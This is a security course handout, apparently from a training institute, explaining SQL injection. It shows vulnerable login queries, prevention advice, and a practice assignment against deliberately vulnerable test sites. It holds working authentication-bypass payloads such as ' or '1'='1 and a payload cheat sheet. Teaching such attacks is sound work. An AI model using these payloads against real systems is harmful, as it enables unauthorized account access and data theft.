1. SQL Injection

What is SQL Injection?

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.

A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

SQL INJECTION ATTACK EXAMPLE

Here is a basic HTML login form with two inputs: `username` and `password`.

```
<form method="post" action="/login">

<input name="username" type="text">

<input name="password" type="password">

</form>
```

The common way for the `/login` to work is by building a database query. If the variables `$request.username` and `$request.password` are requested directly from the user’s input, this can be compromised.

```
SELECT id

FROM Users
```

```
WHERE username = '$request.username'

AND password = '$request.password'
```

For example, if a user inserts `admin' or 1=1 --` as the username, he/she will bypass the login form without providing a valid username/password combination.

```
SELECT id

FROM Users

WHERE username = 'admin' or 1=1--

~~AND password = 'request.password'~~
```

The issue is that the `'` in the `username` closes out the `username` field, then the `–` starts a SQL comment causing the database server to ignore the rest of the string. As the inputs of the web application are not well done, the query has been modified in a malicious way.

How to Prevent SQL Injection

The source of the problem of SQL Injection (the most important injection risk) is based on SQL queries that use untrusted data without the use of parametrized queries (without `PreparedStatement` in Java environments).

First of all Hdiv minimizes the existence of untrusted data thanks to the web information flow control system that avoids the manipulation of the data generated on the server side. This architecture minimizes the risk to just the new data generated legally from editable form elements. It's important to note that even using `PreparedStatement` if the query is based on untrusted data generated previously at server side (for instance the identification id of an item within a list) it's possible to exist a SQL Injection risk.

Although `PreparedStatement` solves the most of the cases, there are some SQL keywords that can not be used with `PreparedStatement`, such as `ORDER BY`. In these cases, you have to concatenate the column name and the order to the SQL query but only after verifying that the column name and order are valid in this context and **sanitising** them to counter any attempt of SQL Injection attack.

Check Video Attached.

Login page #1: Scenario

- Login page with username and password verification
- Both user name and password field are prone to code injection.

Credentials for logging in normally

username	password
admin	admin
tom	tom
ron	ron

SQL injection

Executed SQL query when username is tom and password is tom:

SELECT * FROM users WHERE name='tom' and password='tom'

When a user enters a user name and password, a SQL query is created and executed to search on the database to verify them. The above query searches in the users table where name is tom and password is tom. If matching entries are found, the user is authenticated.

In order to bypass this security mechanism, SQL code has to be injected on to the input fields. The code has to be injected in such a way that the SQL statement should generate a valid result upon execution. If the executed SQL query has errors in the syntax, it won't fetch a valid result. So filling in random SQL commands and submitting the form will not always result in succesfull authentication.

Executed SQL query when username is tom and password is a single quote:

```
SELECT * FROM users WHERE name='tom' and password='''
```

The above query is not going yield any results as it is not a valid query. If the web page is not filtering out the error messages, you will be able to see an error message on the page. The trick is not make the query valid by putting proper SQL commands on place.

Executed SQL query when username is tom and password is ' or '1'='1:

```
SELECT * FROM users WHERE name='tom' and password='' or '1'='1'
```

If the username is already known, the only thing to be bypassed is the password verification. So, the SQL commands should be fashioned in the similar way.

The **password='' or '1'='1'** condition is always true, so the password verification never happens. It can also be said that the above statement is more or less equal to

```
SELECT * FROM users WHERE name='tom'
```

That is just one of the possibility. The actual exploit is limited only by the imagination of the tester. Let's see another possibility.

Executed SQL query when username is tom and password is ' or 1='1:

```
SELECT * FROM users WHERE name='tom' and password='' or 1='1'
```

The **password='' or 1='1'** condition is also always true just like in the first case and thus bypasses the security.

The above two cases needed a valid username to be supplied. But that is not necesserily required since the username field is also vulnerable to SQL injection attacks.

Executed SQL query when username is ' or '1'='1 and password is ' or '1'='1:

```
SELECT * FROM users WHERE name='' or '1'='1' and password='' or '1'='1'
```

The SQL query is crafted in such a way that both username and password verifications are bypassed. The above statement actually queries for all the users in the database and thus bypasses the security.

Executed SQL query when username is ' or ' 1=1 and password is ' or ' 1=1:

SELECT * FROM users WHERE name='' or ' 1=1' and password='' or ' 1=1'

The above query is also more or less similar to the previously executed query and is a possible way to get authenticated.

NB: when above injections tricks the query to return all users, that means if injected in a real application , the login will fail since most application require only 1 user match to work.

Below injection limits users to 1.

Executed SQL query when username is tom' or '1' = '1' LIMIT 1 -- and password is anything

SELECT * **FROM** users **WHERE** username = 'tom'
and password = 'anything' or '1' = '1' LIMIT 1 -- '
Please note the space after --

space

The above query is also more or less similar to the previously executed query and is a possible way to get authenticated.

Cheat sheet

User name	Password	SQL Query

tom	tom	SELECT * FROM users
		WHERE name='tom'
		and password='tom'

tom	' or '1'='1	SELECT * FROM users
		WHERE name='tom'
		and password='' or '1'='1'

tom	' or 1='1	SELECT * FROM users
		WHERE name='tom'
		and password='' or 1='1'

tom	1' or 1=1 -- -	SELECT * FROM users
		WHERE name='tom'
		and password='' or 1=1-- -'

' or '1'='1	' or '1'='1	SELECT * FROM users
		WHERE name='' or '1'='1'
		and password='' or '1'='1'

' or ' 1=1	' or ' 1=1	SELECT * FROM users
		WHERE name='' or ' 1=1'
		and password='' or ' 1=1'

1' or 1=1 -- -	blah	SELECT * FROM users
		WHERE name='1' or 1=1 -- -'
		and password='blah'

tom	tom' or '1' = '1' LIMIT 1 - -	**SELECT** * **FROM** users **WHERE** username = 'tom' and password = 'anything' or '1' = '1' LIMIT 1 – '

Use http://sqlfiddle.com to test SQL queries

Also you can use **PHPmyadmin**

on local machine using **xampp**

or

https://demo.phpmyadmin.net/master-config/

Check useful links

https://portswigger.net/web-security/sql-injection/union-attacks

https://www.w3schools.com/sql/sql_injection.asp

https://en.wikipedia.org/wiki/SQL_injection

https://www.acunetix.com/websitesecurity/sql-injection/

https://www.imperva.com/learn/application-security/sql-injection-sqli/

*************|Assignment is try SQL Injection at|*************

http://testphp.vulnweb.com/login.php

https://modcom.pythonanywhere.com/

http://www.altoromutual.com:8080/login.jsp

https://juice-shop.herokuapp.com/

MODCOM
Institute of Technology